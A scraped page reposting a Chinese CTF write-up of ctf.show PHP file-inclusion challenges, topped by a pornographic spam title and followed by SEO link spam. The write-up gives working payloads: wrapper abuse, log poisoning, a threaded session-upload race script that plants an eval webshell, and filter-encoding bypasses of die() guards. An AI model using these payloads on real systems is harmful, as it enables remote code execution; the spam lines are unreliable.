中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

成都市武侯區(qū)建設(shè)局門戶網(wǎng)站自己的品牌怎么做加盟推廣

成都市武侯區(qū)建設(shè)局門戶網(wǎng)站,自己的品牌怎么做加盟推廣,做淘客網(wǎng)站怎么,如何做全球網(wǎng)站排名web78 <?phpif(isset($_GET[file])){$file $_GET[file];include($file); }else{highlight_file(__FILE__); } 判斷是否存在file參數(shù) 如果存在 將包含這個(gè)參數(shù)值 文件 php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí)&#xff0c;php://filter流會(huì)被當(dāng)作php文件執(zhí)…

web78

<?phpif(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}

判斷是否存在file參數(shù) 如果存在 將包含這個(gè)參數(shù)值 文件

php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí),php://filter流會(huì)被當(dāng)作php文件執(zhí)行。所以我們一般對(duì)其進(jìn)行編碼,讓其不執(zhí)行。從而導(dǎo)致 任意文件讀取。

filter偽協(xié)議

php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí),php://filter流會(huì)被當(dāng)作php文件執(zhí)行。所以我們一般對(duì)其進(jìn)行編碼,讓其不執(zhí)行。從而導(dǎo)致 任意文件讀取。

file=php://filter/convert.base64-encode/resource=flag.php

base64解碼即可

data偽協(xié)議 簡(jiǎn)單理解就是執(zhí)行自定義代碼?

c=data://text/plain,<?php system('tac fla?.php');?>

web79

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

嚴(yán)格一點(diǎn)點(diǎn) 參數(shù)值中不能存在php字符

方法一

使用data偽協(xié)議 可以不使用正常的php標(biāo)簽 使用段標(biāo)簽即可 然后使用*代替php

file=data://text/plain,<?=system('tac fl*');?>

方法二

GET POST 聯(lián)合使用

file=data://text/plain,<?=eval($_POST[1]);?>
POST 1=system("tac flag.php");

web80

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

要求更嚴(yán)格了 data協(xié)議不能使用了

那就是用日志方式

日志地址

/var/log/nginx/access.log

插入U(xiǎn)ser-Agent值為

<?php eval($_POST[1]);?>

訪問(wèn) 日志地址 post參數(shù)1=system("ls"); 查看當(dāng)前目錄下文件有哪些 查看到有個(gè)fl0g.php文件

查看fl0g.php文件內(nèi)容

web81

<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

更嚴(yán)格一點(diǎn)不能使用冒號(hào) 但是貌似沒(méi)影響 與web80同理

web82

參考b站視頻以及session包含/反序列化

?參考

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

禁用了.?導(dǎo)致上一題的日志包含也不行了?只能使用session包含了 ,php里面?唯一我們能控制的無(wú)后綴的就是session,需要用到到php_session_upload_progress參數(shù),這個(gè)參數(shù)是為了獲得這個(gè)文件上傳進(jìn)度的實(shí)時(shí)參數(shù)

這道題沒(méi)開(kāi)啟session?如何創(chuàng)建session文件呢? 我們?nèi)绻灰蟼饕粋€(gè)cookie?鍵是sessid?值任意?這樣提交后?php會(huì)在默認(rèn)session目錄中創(chuàng)建一個(gè)?sess_aaa的文件?路徑基本上為/tmp/sess_aaa? 既然有個(gè)session相關(guān)文件了?服務(wù)器也就自動(dòng)初始化session了

?這么文件名字我們是可以控制的?可以控制aaa? 所以這道題如果只能包含無(wú)后綴的?那就可以包含這個(gè)session的臨時(shí)文件

現(xiàn)在文件名字?我們控制了?如何控制文件內(nèi)容呢

控制文件內(nèi)容我們需要PHP_SESSION_UPLOAD_PROGRESS?這個(gè)參數(shù)是獲取實(shí)時(shí)文件上傳進(jìn)度的??我們控制這個(gè)參數(shù)?來(lái)寫(xiě)我們指定內(nèi)容?通過(guò)指定該參數(shù)的post值?會(huì)拼接默認(rèn)名字寫(xiě)進(jìn)去(這句話現(xiàn)在不理解?一會(huì)回頭看一下)?剛剛?cè)褐髋e個(gè)例子?如果PHP_SESSION_UPLOAD_PROGRESS值為123?則知道 /tmp/sess_aaa的內(nèi)容為123

現(xiàn)在前提都準(zhǔn)備好了?但是session臨時(shí)文件在文件全部上傳成功后就會(huì)被刪除?這時(shí)需要session競(jìng)爭(zhēng)? 在文件還沒(méi)被刪除的時(shí)候?訪問(wèn)到這個(gè)文件? 簡(jiǎn)單理解就是?大量的上傳同一個(gè)文件?持續(xù)訪問(wèn)某個(gè)session文件? 該腳本?就是開(kāi)啟5個(gè)多線程? 持續(xù)的發(fā)送?為何要開(kāi)啟多線程呢?正常情況下開(kāi)啟一個(gè)線程也是可以的 但是一般都競(jìng)爭(zhēng)不出來(lái) 都是開(kāi)啟進(jìn)程讓提交的速度加大 訪問(wèn)的速度加大

再簡(jiǎn)單理解這個(gè)線程就是?每秒提交1次文件?和訪問(wèn)1次?因?yàn)樘峤坏乃俣忍貏e快?還沒(méi)等訪問(wèn)呢?文件就被刪除了?如果每秒提交1000次文件?和訪問(wèn)1000次?這樣就大大加大訪問(wèn)成功的概率這個(gè)不代表

訪問(wèn)第500次的時(shí)候是訪問(wèn)第500次提交的文件?而是可能訪問(wèn)到的是第400次提交文件時(shí)生成的文件

這里我開(kāi)五個(gè)線程很快就能出結(jié)果  我試了一下開(kāi)20個(gè)進(jìn)行?一瞬間就出結(jié)果了

import requests
import threading
import io
a=0
url = "http://6db55daa-3871-4fd6-b564-8e6289806146.challenge.ctf.show/"
sessID = 'tzy'
data = {"1": "file_put_contents('/var/www/html/8.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的內(nèi)容
}
def write(session):global afileBytes = io.BytesIO(b'a' * 50)#定義一個(gè)大小為50kb的文件賦值給fileBytes變量中# 解釋一下使用while循環(huán)的原因 當(dāng)前函數(shù)現(xiàn)在開(kāi)啟了5次線程 也就是說(shuō) 同時(shí)會(huì)向服務(wù)器提交五次write函數(shù) 如果不設(shè)置循環(huán) 也就相當(dāng)于同意時(shí)間只提交五次函數(shù) 就退出程序了# 如果在函數(shù)內(nèi)部定義while循環(huán) 這樣就能做到 持續(xù)進(jìn)行 每次提交五次函數(shù) 換位思考也就是說(shuō) 提交五次函數(shù) 每一次都是一個(gè)循環(huán) 這五個(gè)都是循環(huán) 也就能做到 持續(xù)性多線程# 這種方法 和在線程外部加入一個(gè)while循環(huán)一個(gè)意思while True:if a:break#使用傳進(jìn)來(lái)的session對(duì)象執(zhí)行post提交請(qǐng)求res = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'# 改參數(shù)的值就是/tmp/sess_tzy文件的內(nèi)容},cookies={"PHPSESSID": sessID},files={'file': ('tzy.png', fileBytes)})#print(res.request.headers)#print(res.request.body)
def read(session):global awhile True:res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,cookies={"PHPSESSID": sessID})res2 = session.get(url + '8.php')if res2.status_code == 200:print("+++done+++")a=1breakelse:print(res2.status_code)
if __name__ == '__main__':# 開(kāi)啟多線程 直接解釋代碼 python會(huì)同時(shí)提交五次write函數(shù) 和五次read函數(shù)event = threading.Event()  # 開(kāi)啟多線程的對(duì)象# 這個(gè)session對(duì)象 是requests.session()類的實(shí)例化# request.session 包含 request.request的功能 比如get() post()# 而session這個(gè)類還可以自動(dòng)處理cookie 會(huì)自動(dòng)地處理與會(huì)話相關(guān)的內(nèi)容,比如 cookies 的保存和發(fā)送# Session 對(duì)象的優(yōu)勢(shì)在于它會(huì)在整個(gè)會(huì)話中自動(dòng)管理 cookies,并在多個(gè)請(qǐng)求之間共享 cookies 和會(huì)話狀態(tài)。# 這意味著你只需要在第一個(gè)請(qǐng)求中設(shè)置 cookies,后續(xù)的請(qǐng)求會(huì)自動(dòng)使用相同的 cookieswith requests.session() as session:for i in range(5):  # 開(kāi)5個(gè)線程 執(zhí)行write函數(shù)傳入session對(duì)象最為參數(shù)threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()event.set()  # 喚醒線程

獲得flag

web83

<?php
session_unset();
session_destroy();if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

在程序前銷毀session的全部變量?以及全部數(shù)據(jù)? 沒(méi)影響?我們直接加入cookie服務(wù)器識(shí)別出來(lái)存在session?id后自動(dòng)就初始化session了? 同web82一樣

web84

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);system("rm -rf /tmp/*");include($file);
}else{highlight_file(__FILE__);
}

好狗直接把臨時(shí)目錄的文件全部刪除了?但是發(fā)現(xiàn)不影響呀

本身?session.upload_progress.cleanup = on?會(huì)清空對(duì)應(yīng) session 文件中的內(nèi)容?

再加上一條刪除文件?影響不大?加快請(qǐng)求速度唄?不加快5多線程也行? ? 反正記住就行?無(wú)論他刪不刪對(duì)我們都沒(méi)影響?因?yàn)樯毒退氵@個(gè)請(qǐng)求執(zhí)行到刪除了?然后執(zhí)行包含?如果在執(zhí)行include前0.001s又生成了一個(gè)臨時(shí)文件?她依舊是可以包含的?最壞的情況?無(wú)非也就是加快線程唄?加快速度

web85

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}include($file);}}else{highlight_file(__FILE__);
}

說(shuō)實(shí)話這道題?我挺蒙?哪怕多線程為什么能繞過(guò)die呢?每個(gè)線程都能匹配到die呀?原來(lái)這道題開(kāi)多線程和上一題開(kāi)多線程?能成功的原因?不一樣?這一道題開(kāi)5不行?開(kāi)20可以?是因?yàn)?在高并發(fā)/高線程的情況下?有個(gè)特性就是競(jìng)爭(zhēng)?而競(jìng)爭(zhēng)會(huì)導(dǎo)致很多的不確定性?比如這道題在執(zhí)行die的時(shí)候?因?yàn)槎嗑€程搶占資源的原因?可能會(huì)導(dǎo)致die還沒(méi)執(zhí)行成功呢?include就已經(jīng)被執(zhí)行成功了?

web86

<?php
define('還要秀?', dirname(__FILE__));
set_include_path(還要秀?);
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

定義了文件包含指定目錄?也就是說(shuō)想要包含的文件必須在指定目錄下?否則包含不成功

難道還是要利用高線程導(dǎo)致競(jìng)爭(zhēng)從而還沒(méi)定義目錄位置?就已經(jīng)執(zhí)行include了嗎??查看一下其他師傅的wp

結(jié)果是是這個(gè)原因?include包含的文件如果存在路徑?他會(huì)按照指定路徑查找文件?如果只存在文件名不存在路徑?include首先會(huì)去定義的位置進(jìn)行尋找文件?沒(méi)有則在當(dāng)前文件所在的目錄和當(dāng)前工作目錄下尋找?所以不影響我們?線程5應(yīng)該就可以了?不需要高并發(fā)導(dǎo)致的不確定行為?而是普通的和服務(wù)器刪除速度來(lái)競(jìng)爭(zhēng)?不是高并發(fā)的競(jìng)爭(zhēng)

的確我說(shuō)對(duì)了

注意:早session包含中

這里說(shuō)一下?提交請(qǐng)求后的請(qǐng)求體是?不是想象的那種post?鍵值對(duì)的形式?而是表單的形式PHP_SESSION_UPLOAD_PROGRESS?也在表單中?這塊的簡(jiǎn)單知識(shí)點(diǎn)?有時(shí)間得看看

<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

web87

<?php
if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);}else{highlight_file(__FILE__);
}

參考p神文章

file_put_content和死亡·雜糅代碼之緣

方法一使用?過(guò)濾器中的base64?解碼繞過(guò)?將死亡函數(shù)進(jìn)行解碼?變?yōu)榉欠ㄗ址?/p>

file=php://filter/write=convert.base64-decode/resource=hello.php

在base64解碼中?每四個(gè)字符為一組解碼為三個(gè)字符?并且只有字母為解碼的字符?phpdie為6個(gè)?需要在$content前任意添加兩個(gè)字符?

content=abPD8gcGhwaW5mbygpOz8+

將file參數(shù)的值進(jìn)行url全編碼使用bp

從瀏覽器到服務(wù)器?他會(huì)自動(dòng)進(jìn)行一次解碼?為什么要兩次編碼呢?兩點(diǎn) 第一點(diǎn)本身寫(xiě)文件的時(shí)候他會(huì)解碼一次 第二點(diǎn)在過(guò)濾的時(shí)候 如果不進(jìn)行二次url編碼 他會(huì)把關(guān)鍵詞換成問(wèn)好 這兩點(diǎn)同時(shí)滿足 這樣兩次url編碼就可以了 

驗(yàn)證成功?同理?換content的值即可得到flag

方法二使用?過(guò)濾器中的rot13 編碼繞過(guò)?解碼繞過(guò)?將死亡函數(shù)進(jìn)行解碼?變?yōu)榉欠ㄗ址?/p>

和base64同理?

現(xiàn)將payload進(jìn)行rot13編碼

file=php://filter/write=string.rot13/resource=hello2.php

concent=<?cuc cucvasb();?>

死亡代碼<?php?die('大佬別秀了');?>已經(jīng)被解碼為<?cuc qvr('大佬別秀了');?>

這里有個(gè)問(wèn)題如果服務(wù)器開(kāi)啟了可以使用短標(biāo)簽?zāi)敲捶?wù)器就會(huì)解析該短標(biāo)簽了?我們的payload就不會(huì)被執(zhí)行了??就不能使用這種方法了?因?yàn)樵摻獯a方式不會(huì)解碼<?等符號(hào)?并且會(huì)原封不動(dòng)的寫(xiě)入到文件中

web88

<?php
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}

使用data偽協(xié)議

因?yàn)檫^(guò)濾了?php那就使用base編碼?有的時(shí)候如果base編碼后出現(xiàn)=?或者 +號(hào)?也會(huì)被過(guò)濾掉?在后方加入1來(lái)混淆

比如

<?php echo `ls`?>和<?php system('ls'); ?>?一個(gè)意思

?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PjEx

web116

開(kāi)局一個(gè)視頻?無(wú)法查看源碼?下載視頻?使用010打開(kāi)?搜索各種文件的標(biāo)頭標(biāo)識(shí)?發(fā)現(xiàn)?存在PNG文件

PNG圖片以IEND結(jié)尾?復(fù)制粘貼到新建十六進(jìn)制文件?另存1.PNG

打開(kāi)圖片后

源碼文件的意思就是讀取一個(gè)文件?輸出到瀏覽器中?

在瀏覽器中雖然不能右鍵查看源碼?但是可以使用view-source:

那就讀取?flag.php(只能一個(gè)一個(gè)嘗試)

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

不能使用base64和rot13解碼繞過(guò)了 把一句話木馬從UCS-2LE編碼轉(zhuǎn)換為UCS-2BE編碼。

其實(shí)關(guān)鍵的不是兩種編碼方式(這兩個(gè)編碼方式可以換位置) 這兩種編碼方式都是一樣的?不會(huì)改變?nèi)魏巫址?關(guān)鍵的是iconv這個(gè)函數(shù)?他可以進(jìn)行兩個(gè)字符反轉(zhuǎn)一次(切記?需反轉(zhuǎn)的字符必須是2的整數(shù)倍?否則報(bào)錯(cuò),如果報(bào)錯(cuò)可以通過(guò)修改密碼?增加字符?或者在后面再加上任意一個(gè)字符?反正服務(wù)器也不解析)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSa[]a;)>?

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hello.php

contents=?<hp pe@av(l_$OPTSa[]a;)>?

http://www.risenshineclean.com/news/11492.html

相關(guān)文章:

  • 專門做招商的網(wǎng)站是什么營(yíng)銷策劃思路
  • php裝修公司網(wǎng)站源碼哪個(gè)搜索引擎能搜敏感內(nèi)容
  • 校園二手交易網(wǎng)站開(kāi)發(fā)背景百度推廣有用嗎
  • 網(wǎng)站項(xiàng)目開(kāi)發(fā)案seo技術(shù)快速網(wǎng)站排名
  • 支付寶 收費(fèi) 網(wǎng)站開(kāi)發(fā)東莞seo
  • 做網(wǎng)站推廣的好處seo外包靠譜
  • 好品質(zhì)高端網(wǎng)站設(shè)計(jì)廣州百度快速優(yōu)化排名
  • 化妝品網(wǎng)站欄目設(shè)計(jì)推廣策劃方案怎么寫(xiě)
  • 做網(wǎng)站人網(wǎng)頁(yè)設(shè)計(jì)制作網(wǎng)站素材
  • 注冊(cè)登錄汕頭搜索引擎優(yōu)化服務(wù)
  • 找人做彩票網(wǎng)站多少錢seo推廣論壇
  • 騰網(wǎng)站建設(shè)谷歌google下載安卓版 app
  • 中國(guó)網(wǎng)站的特點(diǎn)seo數(shù)據(jù)統(tǒng)計(jì)分析工具有哪些
  • 免費(fèi)軟件下載網(wǎng)站app南京百度網(wǎng)站推廣
  • 做網(wǎng)站時(shí)分類標(biāo)題和分類描述搜索詞和關(guān)鍵詞
  • 鮮花加盟網(wǎng)站建設(shè)網(wǎng)站優(yōu)化與seo
  • 商城網(wǎng)站建設(shè)浩森宇特好看的網(wǎng)站ui
  • 成都網(wǎng)站建設(shè)公司電話seo網(wǎng)絡(luò)推廣公司
  • 香港網(wǎng)站不備案淘寶站外引流推廣方法
  • 建設(shè)網(wǎng)站6980塊錢貴嗎山西seo
  • 聊城網(wǎng)站建設(shè)方案網(wǎng)站推廣的基本方法有
  • 常州模板建站哪家好四年級(jí)寫(xiě)一小段新聞
  • 浪琴手表網(wǎng)站建設(shè)圖公眾號(hào)引流推廣平臺(tái)
  • 禁止拿我們的網(wǎng)站做宣傳市場(chǎng)調(diào)研報(bào)告3000字范文
  • 國(guó)外 網(wǎng)站頁(yè)面跨境電商關(guān)鍵詞工具
  • 免費(fèi)圖片素材網(wǎng)南京怎樣優(yōu)化關(guān)鍵詞排名
  • 東營(yíng)建設(shè)信息網(wǎng)站百度手機(jī)導(dǎo)航官方新版
  • 門戶網(wǎng)站案例發(fā)稿推廣
  • 單位網(wǎng)站平臺(tái)建設(shè)匯報(bào)sem搜索
  • 創(chuàng)建學(xué)校網(wǎng)站今天的重要新聞